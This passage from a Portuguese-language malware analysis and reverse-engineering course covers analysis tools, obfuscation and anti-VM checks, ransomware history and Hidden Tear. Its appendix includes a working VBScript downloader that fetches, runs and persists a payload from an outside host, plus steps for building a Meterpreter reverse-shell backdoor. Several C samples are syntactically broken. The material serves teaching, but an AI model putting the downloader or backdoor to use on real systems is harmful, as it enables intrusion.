ele realiza com o sistema operacional e ambiente de rede.
Também chamada de análise comportamental e pode ser facilmente
automatizada, com a aplicação de scripts por exemplo.
Empresas de anti-malwares geralmente possuem bases de dados com
milhões de amostras que são analisadas automaticamente através do método
dinâmico, sendo que somente os arquivos que fogem do padrão são separados e
posteriormente analisados manualmente por uma pessoa utilizando métodos
estáticos.
Ferramentas para Análise
NMAP
Software para realização de port scan;
https://nmap.org/
Wireshark
Analisador de tráfego de rede;
https://www.wireshark.org/
Process Explorer
Monitor de processos do Windows;
https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
TCP View
Monitor de conexões do Windows;
https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview
WXHexEditor
Editor de hexadecimais;
https://www.wxhexeditor.org/
FileGrab
Monitoramento do filesystem do Windows;
https://sourceforge.net/projects/filegrab/
DiE
Detector de Packer;
https://ntinfo.biz/
FTK Imager
Framework para computação forense;
Permite DUMP da memória RAM;
https://accessdata.com
API Monitor
Monitora chamadas de funções de APIs ou DLLs
http://www.rohitab.com/apimonitor
RegShot
Cria uma imagem de propriedades específicas do sistema e compara com o
estado pós infecção;
https://sourceforge.net/projects/regshot/
Sandbox
São mecanismos de segurança para separar os programas em execução,
geralmente com objetivo de identificar falhas ou vulnerabilidades do software, sendo
frequentemente usado para executar programas ou códigos não testados ou não
confiáveis. Fornece um conjunto de recursos rigidamente controlado para execução
dos programas;
Métodos de ofuscação
Os métodos de ofuscação, são formas utilizadas pelos programadores de
malwares para tentar esconder seu código e desta forma fazer com que os mesmos
não sejam detectados pelos anti-malwares e demais ferramentas de segurança.
Packer
São programas que permitem ao usuário compactar, e em alguns casos
criptografar, um executável sem perder suas funcionalidades. Por compactar o
executável original acaba ofuscando seu conteúdo.
Após compactar o executável original e por consequência, o packer cria um
novo conteúdo de código executável, inserindo no código uma rotina para
descompactá-lo, geralmente no final do arquivo, e modifica o entry point do executável
apontando para esta rotina. Ao ser executado, a rotina para descompactar é iniciada,
descompactando o executável na memoria e iniciando seu código original.
Encriptadores
Os encriptadores são programas de criptografia de arquivos executáveis e tem
os mesmos propósitos dos packers, ocultar o conteúdo de um arquivo executável.
Tendem a se manterem indetectáveis pelos antivírus e IDS e resistirem a
esforços de engenharia reversa, porém diferente dos packers, utilizam um algoritmo
de criptografia no executável, inserindo uma rotina de descriptografia, responsável
por trazer de volta o conteúdo original do arquivo na memória em cada execução.
Binders
Os binders, também chamados de joiner ou wrapper, recebem como entrada
um arquivo executável e outro arquivo qualquer, mesclando ambos e formando um
só́ arquivo, desta forma, um executável malicioso pode ser oculto dentro de uma
imagem, arquivo de áudio, vídeo, etc.
AntiVM e AntiSandbox
Com o objetivo de evitar que sejam analisados, os programadores de
malwares muitas vezes criam instruções para evitar que seus códigos sejam
executados em ambientes isolados, uma vez que um ambiente desta forma é
detectado, o Malware pode simplesmente não ser executado, como pode também
alterar seu comportamento.
Como exemplo podemos citar o caso de um malware que quando executado
em um hardware real se conectava com seus servidor C&C, porém quando detectava
que estava em execução em uma VM, se conectava em um domínio legítimo.
Esta detecção de sistema é feita principalmente levando em conta alguns
pontos chaves como:

Instruções da CPU: utilizando

CPUID: esta instrução é executada com o valor EAX=1 como entrada,
o valor retornado indica os recursos do processador, sendo que o 31º
bit do ECX em uma máquina física é 0, enquanto em uma máquina
virtual é 1.

Fabricante do Hypervisor: ainda utilizando o CPUID agora com o valor
EAX=40000000, o malware é capaz de receber o nome do fabricante
do hypervisor.

MMX: este conjunto de instruções da Intel para processamento gráfico
não costuma ser suportado por máquinas virtuais, sendo assim, sua
ausência pode indicar que o malware está em uma VM.

Mac Addresses: o prefixo do endereço MAC das placas de rede indica
seu fabricante, sendo que no caso de alguns hypervisores, as VM
recebem placas de rede virtuais que contem seu fabricante, por
exemplo:
o 00:05:69 (Vmware)
o 00:0C:29 (Vmware)
o 00:1C:14 (Vmware)
o 00:50:56 (Vmware)
o 08:00:27 (VirtualBox)

Verificação de chaves de registro: a existência das seguintes chaves
indica um sistema virtualizado:
o HKLM\SOFTWARE\Vmware Inc.\\\Vmware Tools
o HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus
0\Target Id 0\Logical Unit Id 0\Identifier
o SYSTEM\CurrentControlSet\Enum\SCSI\Disk&Ven_VMware_&
Prod_VMware_Virtual_S
o SYSTEM\CurrentControlSet\Control\CriticalDeviceDatabase\roo
t#vmwvmcihostdev
o SYSTEM\CurrentControlSet\Control\VirtualDeviceDrivers

Checagem de processos: a lista de processos abaixo indica que se trata
de uma máquina virtual:
o Vmware
o Vmtoolsd.exe
o Vmwaretrat.exe
o Vmwareuser.exe
o Vmacthlp.exe
o VirtualBox
o vboxservice.exe
o vboxtray.exe

Checagem de arquivos: os seguintes arquivos indicam que a máquina
é uma VM:
o VMware

C:\windows\System32\Drivers\Vmmouse.sys

C:\windows\System32\Drivers\vm3dgl.dll

C:\windows\System32\Drivers\vmdum.dll

C:\windows\System32\Drivers\vm3dver.dll

C:\windows\System32\Drivers\vmtray.dll

C:\windows\System32\Drivers\VMToolsHook.dll

C:\windows\System32\Drivers\vmmousever.dll

C:\windows\System32\Drivers\vmhgfs.dll

C:\windows\System32\Drivers\vmGuestLib.dll

C:\windows\System32\Drivers\VmGuestLibJava.dll

C:\windows\System32\Driversvmhgfs.dll
o VirtualBox


C:\windows\System32\Drivers\VBoxMouse.sys

C:\windows\System32\Drivers\VBoxGuest.sys

C:\windows\System32\Drivers\VBoxSF.sys

C:\windows\System32\Drivers\VBoxVideo.sys

C:\windows\System32\vboxdisp.dll

C:\windows\System32\vboxhook.dll

C:\windows\System32\vboxmrxnp.dll

C:\windows\System32\vboxogl.dll

C:\windows\System32\vboxoglarrayspu.dll

C:\windows\System32\vboxoglcrutil.dll

C:\windows\System32\vboxoglerrorspu.dll

C:\windows\System32\vboxoglfeedbackspu.dll

C:\windows\System32\vboxoglpackspu.dll

C:\windows\System32\vboxoglpassthroughspu.dll

C:\windows\System32\vboxservice.exe

C:\windows\System32\vboxtray.exe

C:\windows\System32\VBoxControl.exe
Checagem de serviços: uma vez que os hypervisores costumam instalar
pacotes de aperfeiçoamento nas máquinas virtuais, alguns serviços
podem identifica-los:
o VMTools
o Vmhgfs
o VMMEMCTL
o Vmmouse
o Vmrawdsk
o Vmusbmouse
o Vmvss
o Vmscsi
o Vmxnet
o vmx_svga
o Vmware Tools
o Vmware Physical Disk Helper Service
Sugestões de Livros

Practical Malware Analysis: The Hands-On Guide to Dissecting
Malicious Software - Michael Sikorski, Andrew Honig

Malware Data Science: Attack Detection and Attribution - Joshua Saxe,
Hillary Sanders
Referências

MARS: uma arquitetura para análise de malwares utilizando SDN
o http://www.teses.usp.br/teses/disponiveis/3/3141/tde-28022018105426/publico/JoaoMarceloCeronCorr18.pdf

Caminho para os iniciantes em Análise de Malware
o https://www.mentebinaria.com.br/forums/topic/178-caminhopara-os-iniciantes-em-an%C3%A1lise-de-malware/

Montando sua máquina virtual para engenharia reversa em macOS.
o https://www.mentebinaria.com.br/artigos/montando-suam%C3%A1quina-virtual-para-engenharia-reversa-em-macosr35/

Montando sua máquina virtual para engenharia reversa em Windows
o https://www.mentebinaria.com.br/artigos/montando-suam%C3%A1quina-virtual-para-engenharia-reversa-em-windowsr19

Montando sua máquina virtual para engenharia reversa em Linux
o https://www.mentebinaria.com.br/artigos/montando-suam%C3%A1quina-virtual-para-engenharia-reversa-em-linux-r26

Cuckoo Sandbox Overview and Demo
o https://www.youtube.com/watch?v=V4z2tLRCuIY

How To Hide BTC Stealer Using mfile binder.
o https://www.youtube.com/watch?v=mdRB5N5iFAw

AntiVM and AntiSandBox Explained
o https://www.cyberbit.com/blog/endpoint-security/anti-vm-andanti-sandbox-explained/
Capítulo 4
Introdução
Neste capítulo faremos um estudo mais aprofundado sobre os malwares do
tipo ransomware, onde abordaremos as definições sobre este tipo de ameaça, e
também exemplificaremos um ataque de ransomware utilizando como base o
ransomware OpenSource Hidden Tear.
O que é um ransomware
O ransom malware, ou como é mais conhecido, ransomware, é uma categoria
de malwares que tem como objetivo impedir os acessos os usuários aos seus
sistemas ou arquivos pessoais, exigindo o pagamento do resgate para recuperação
do acesso. Os primeiros ataques neste formato, datam do final da década de 1980,
onde os pagamentos eram solicitados via correio tradicional, hoje em dia os resgates
são exigidos através de criptomoedas ou cartões de crédito.
História dos Ransomwares
O primeiro malware a utilizar técnicas de sequestro foi criado no final da
década de 1980, conhecido como PC Cyborg ou AIDS, ele criptografava todos os
arquivos no disco C: diretório depois de 90 reinicializações, solicitando ao usuário
“renovar sua licença” enviando U$189,00 pelo correio para a PC Cyborg Corp.
No caso do PC Cyborg, a criptografia utilizada era simples o suficiente para
ser revertida, sendo assim, pelo menos para usuários mais experientes, representava
uma ameaça pequena.
Ao longo dos 10 anos seguintes, poucas variantes que utilizassem o mesmo
princípio foram encontradas, sendo que até 2004 quando o GpCode foi criado,
utilizando criptografia RSA, nenhuma verdadeira ameaça de ransomware foi
documentada.
Já no ano de 2007, o WinLock foi o primeiro ransomware a utilizar um novo
tipo de sequestro, sendo que ao invés de criptografar arquivos, bloqueava o acesso
dos usuários aos seus computadores. O WinLock assumia a tela da vítima e passava
a exibir imagens pornográficas, exigindo o pagamento através de um SMS pago para
removê-los.
Em 2012 uma nova forma de ransomware surgiu com o desenvolvimento da
família Reveton de ransomware, onde o malware se passava por um agente da lei.
Nesses casos, após a infecção, as vítimas teriam seus computadores bloqueados e
mostravam uma página de visual oficial, que incluía credenciais para agências de
cumprimento da lei, como o FBI e a Interpol sob alegação de que o usuário cometeu
um crime, como tentativa de invasão, download de arquivos ilegais, até mesmo
pornografia infantil. A maioria das famílias de ransomware de cumprimento da lei
exigiam que uma multa, variando de U$ 100,00 a U$ 3.000,00 fosse paga com um
cartão pré-pago, como o UKash ou o PaySafeCard.
Em geral, usuários leigos não sabiam como lidar com esse tipo de ataque e
tendiam a acreditar que realmente estavam sob investigação das instituições de
cumprimento da lei, neste caso, é utilizada uma tática bastante conhecida de
engenharia social, denominada culpa inferida, onde o usuário passa a questionar sua
própria inocência e, para não ser acusado de uma atividade que não se orgulha, paga
o resgate para que tudo desapareça.
Em 2013 os ransomware de criptografia voltam a aparecer com o
CryptoLocker, porém desta vez os níveis de criptografia eram muito mais altos, no
caso do CryptoLocker, era usada criptografia de grau militar e o armazenamento da
chave para descriptografar os arquivos era feita em um servidor remoto, tornando
praticamente impossível a recuperação dos dados sem o pagamento do resgate. Este
tipo de ransomware de criptografia ainda se encontra em atividade, tendo se mostrado
ao longo dos anos uma ferramenta incrivelmente eficiente para os criminosos
ganharem dinheiro, ataques como o WannaCry em maio de 2017 e o Petya, em junho
de 2017, são exemplos deste tipo de ransomware.
Vetores de Entrada
De uma forma geral, os ataques de ransomware estão normalmente ligados
ao uso de técnicas de engenharia social, sendo que atualmente a forma de infecção
mais utilizada é através de spam malicioso, também chamado de malspam, onde, a
fim de convencer os usuários a abrirem anexos ou clicarem em links que aparentam
ser legítimos, os criminosos agem parecendo ser de uma instituição confiável ou um
amigo.
Além dos spams, em 2016 um segundo método atingiu seu pico, a propaganda
maliciosa ou malvertising. Onde se faz uso de publicidade on-line para distribuir
malwares com pouca ou nenhuma necessidade de interação do usuário.
Tipos de Ransomware
Scareware
Os scarewares são softwares de segurança falsos e fraudes de suporte
técnico. Normalmente o usuário recebe uma mensagem pop-up alegando que um
malware foi descoberto e a única maneira de se livrar dele é efetuando a compra do
software específico. Caso o usuário não tome nenhuma ação corretiva, continuará a
receber os pop-ups, porém, seus arquivos estão seguros.
Programas legítimos de segurança não fazem solicitações aos clientes desta
forma, o usuário deve ficar também atento, pois se não possui o software da empresa
que se apresenta como solução, não há como esta empresa estar analisando seu
computador, e caso possua, não precisaria pagar um valor adicional para remover
um malware.
Bloqueados de Tela
Esta categoria de ransomware bloqueia o acesso ao computador, mantendo o
usuário sem conseguir iniciar o mesmo. Em grande parte dos casos, ao inicializar o
computador, é exibida uma janela do tamanho da tela, acompanhada pelo selo do
FBI ou do Departamento de Justiça Americano, procurando parecer uma atividade
legítima, informando que uma atividade ilegal foi detectada em seu computador e por
este motivo deve pagar uma multa.
Encriptadores de Arquivos
Este é provavelmente o tipo mais conhecido de ransomware. Seu modo de
atuação é criptografar os arquivos o usuário e cobrar um resgate para descriptografar.
Um dos maiores riscos deste tipo de ransomware, é que uma vez
criptografados os arquivos, a probabilidade de descriptografar os mesmos, sem a
chave que está em posso do criminoso, é praticamente nula, e como todo sequestro,
mesmo havendo o pagamento do resgate, não há garantia de que os criminosos
enviarão a chave para recuperação dos arquivos.
Sistemas Apple
Em 2016 foi lançado o primeiro ransomware para Mac OS em 2016.
Denominado KeRanger, este ransomware infectava um aplicativo de
compartilhamento de arquivos Torrent chamado Transmission que, após ser iniciado,
copiava os arquivos maliciosos que permaneciam sendo executados em silêncio em
segundo plano por três dias, para só então executarem suas funções de criptografia.
Felizmente, o anti-malware embutido da Apple, XProtect, lançou uma atualização logo
após a identificação do ransomware, que o impediria de infectar os sistemas dos
usuários, mesmo assim o lançamento deste Ransomware para Mac, tira a questão
de infecções deste tipo no sistema operacional da Apple do status de teórico para
realidade.
Sistemas Android
Até o auge do CryptoLocker e outras famílias similares em 2014, nada em
grande escala havia sido visto em dispositivos móveis. O ransomware móvel
geralmente atua de forma bem semelhante aos ransomware para PC que se passam
por entidades da lei, exibindo uma mensagem de que o dispositivo foi bloqueado
devido a algum tipo de atividade ilegal. A mensagem indica que o telefone será
desbloqueado depois que uma taxa for paga.
Hidden Tear
O Hidden Tear era um projeto OpenSource com o objetivo de criar simples
ransomware simples em C#.
Seu código original foi publicado no GitHub em agosto de 2015, e atualmente,
mesmo após seu desenvolvedor Utku Sen ter abandonado seu projeto, o código
original já possui mais de 400 forks, sendo assim extremamente fácil encontrar seu
código na internet.
Quando o Hidden Tear é ativado, ele criptografa certos tipos de arquivos
usando criptografia AES, envia a chave simétrica para os servidores de controle do
malware e dá uma mensagem em txt, informando à vítima avisando sobre a
encriptação dos arquivos.
De uma forma geral sua configuração é bem simples, dependendo da edição
de alguns arquivos em php que compõe sua parte servidor, que rodará
preferencialmente no Linux com Apache 2, MySQL ou MariaDB e o PHP 5.6. Um
ponto de atenção é com relação ao PHP, devido à algumas funções utilizadas em seu
código fonte, o Hidden Tear só funcionará no PHP 5.6
Além da edição dos arquivos em PHP do ambiente servidor, será necessário
também a edição do seu código fonte, escrito em C#, utilizando o Visual Studio 2013
e depois o mesmo deve ser recompilado, assim como a versão do PHP no ambiente
servidor, para compilar o ransomware e o decriptador, é necessário que seja a versão
2013 do Visual Studio.
Sugestões de Livros

Ransomware: Defendendo-Se da Extorsão Digital - Allan Liska, Timothy
Gallo
Referências

Tudo Sobre ransomware
o https://br.malwarebytes.com/ransomware/

First Mac ransomware spotted
o https://blog.malwarebytes.com/cybercrime/2016/03/first-macransomware-spotted/
Capítulo de Apoio
Lista de Programas
Linux

Debian Linux
o https://www.debian.org

Kali Linux
o https://www.kali.org

ndisasm
o apt-get install nasm

PEV
o https://github.com/merces/pev

UPX Packer
o apt-get install upx

Hidden Tear
o https://github.com/Virgula0/hidden-tear
Windows

Johnny Simulator
o https://sourceforge.net/projects/johnnysimulator/files/johnny_v_1_0
1_inst_2014_04_27a.zip/download

wxHexEditor
o https://www.wxhexeditor.org

PE Studio
o https://www.winitor.com/binaries.html

Resource Hacker
o http://www.angusj.com/resourcehacker

DevC++
o https://sourceforge.net/projects/orwelldevcpp

OllyDBG:
o http://www.ollydbg.de

Arquivo HLP:
o https://github.com/trietptm/OllyDbg-Archive/blob/master/HLPFiles/win32.hlp

Patch correção para abrir arquivo HLP
o https://support.microsoft.com/pt-br/help/917607/error-openinghelp-in-windows-based-programs-feature-not-included-or-h

ReverseMe.exe
o https://www.4shared.com/file/XdwikUleda/reverseMe.html?

NMAP
o https://nmap.org

Wireshark
o https://www.wireshark.org

Process Explorer
o https://docs.microsoft.com/en-us/sysinternals/downloads/processexplorer

TCP View
o https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview

FileGrab
o https://sourceforge.net/projects/filegrab

DiE
o https://ntinfo.biz

FTK Imager
o https://accessdata.com

API Monitor
o http://www.rohitab.com/apimonitor

RegShot
o https://sourceforge.net/projects/regshot

Mfilebinder
o https://sourceforge.net/projects/mfilebinder

Visual Studio 2013
Fontes
SomaDoQuadrado.c
#include <stdio.h>
int total;
int Quadrado (int x) {
return x*x;
}
int QuadradoDaSoma (int x, int y){
int z = Quadrado (x + y);
return z;
}
int main() {
int a = 4 , b = 8;
total = QuadradoDaSoma(a,b);
printf(“O quadrado da soma é: %d\n”,total)
}
Downloader.VBS
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://192.168.106.133/payload.exe", False 'Endereço do
download
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile "c:\windows\temp\payload.exe", 2 'Caminho onde o arquivo será salvo
end with
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "c:\windows\temp\payload.exe", 1, false 'Execução do arquivo baixado
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set
objRegistry
=
GetObject("winmgmts:\\"
&
strComputer
&
"\root\default:StdRegProv")
objRegistry.SetStringValue
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
HKEY_LOCAL_MACHINE,
"Payload",
"c:\windows\temp\payload.exe" 'Configurando para iniciar automaticamente no próximo
boot
STACK.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char c1;
char c2;
char c3;
char c4;
char *ponteiro;
printf (“Tamanho de um char: %d Byte\n”, sizeof(char));
printf (“Tamanho de um char *: %d Bytes\n”, sizeof(char *));
return 0;
}
HEAP.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char c1;
char c2;
char c3;
char c4;
char *ponteiro;
ponteiro = (char *) malloc (100);
Scanf = (%c, &c1);
return 0;
}
HELLOWORLD.c
#include <stdio.h>
int main(void) {
printf (”HELLO WORLD\n");
return 0;
}
Implementação da Backdoor
1. Após abrir o terminal do Kali Linux, abra o Social Engineering Toolkit
com o comando “setoolkit”;
2. Na tela seguinte será exibido o seguinte menu, onde deverá escolher a
opção 1 (Social Engineering Attacks);
3. No próximo menu vamos escolher que tipo de payload criaremos, aqui
deverá escolher a opção 4 (Create a Payload and Listener);
4. Neste menu devemos escolher qual payload usaremos, escolha a
opção 2 (Windows Reverse TCP Meterpreter);
5. Nesta tela devemos informar o IP do nosso Kali Linux e a porta em que
nosso payload ficará aguardando as conexões;
6. Finalizadas as configurações, o SET fará a criação da backdoor,
salvando em /root/.set/payload.exe, e pedirá para confirmar a abertura
do metasploit, confirmando a abertura, a seguinte tela será exibida,
onde temos o metasploit aguardando pela conexão das máquinas
infectadas;
Conclusão
Finalizados os estudos de nosso curso, podemos concluir que engenharia reversa é
muito mais do que uma área da informática, estando presente na história da humanidade
desde tempos muito antigos, além disso, ela envolve desde as ações de uma criança, que
desmonta seu brinquedo para entender como funciona, até exércitos que roubam caças
inimigos para estudar seus pontos fortes e fraquezas, ou concorrentes no mercado de
hardware que compram lotes de produtos para criar similares.
Pudemos entender também que a execução de um aplicativo, ou mesmo a abertura
de um aplicativo, envolve muito mais componentes do que estamos acostumados a
considerar, ao longo de nossas aulas, estudamos por exemplo sobre a forma como os dados
são tratados na memória e suas diferentes áreas de gravação, e que a engenharia reversa,
muitas vezes exige nosso conhecimento de toda esta dinâmica, para entender como um
aplicativo funciona e sermos capazes de executar ações como o crack do ReverseMe criado,
além disso, também tivemos a conclusão de que a identificação de um tipo de arquivo não é
baseada em sua extensão, e sim em seus primeiros bytes e em sua estrutura interna, entendo
desta forma como funcionam as ferramentas de DLP.
Já em nossa abordagem sobre análise de malware, através do estudo da linha do
tempo de evolução dos malwares, pudemos notar uma nítida mudança no perfil das ameaças
criadas, sendo que os malwares mais antigos, eram muito mais focados em danificar os
sistemas e assim causar prejuízos, do que no roubo de informações como ocorre atualmente.
Durante os estudos de análise de malware, verificamos também a diferenças entre as
duas formas de análise existentes, a dinâmica e a estática, sendo executadas tarefas ligadas
a cada uma delas, incluindo a implementação de uma backdoor para ser analisada e também
de um ransomware.
Download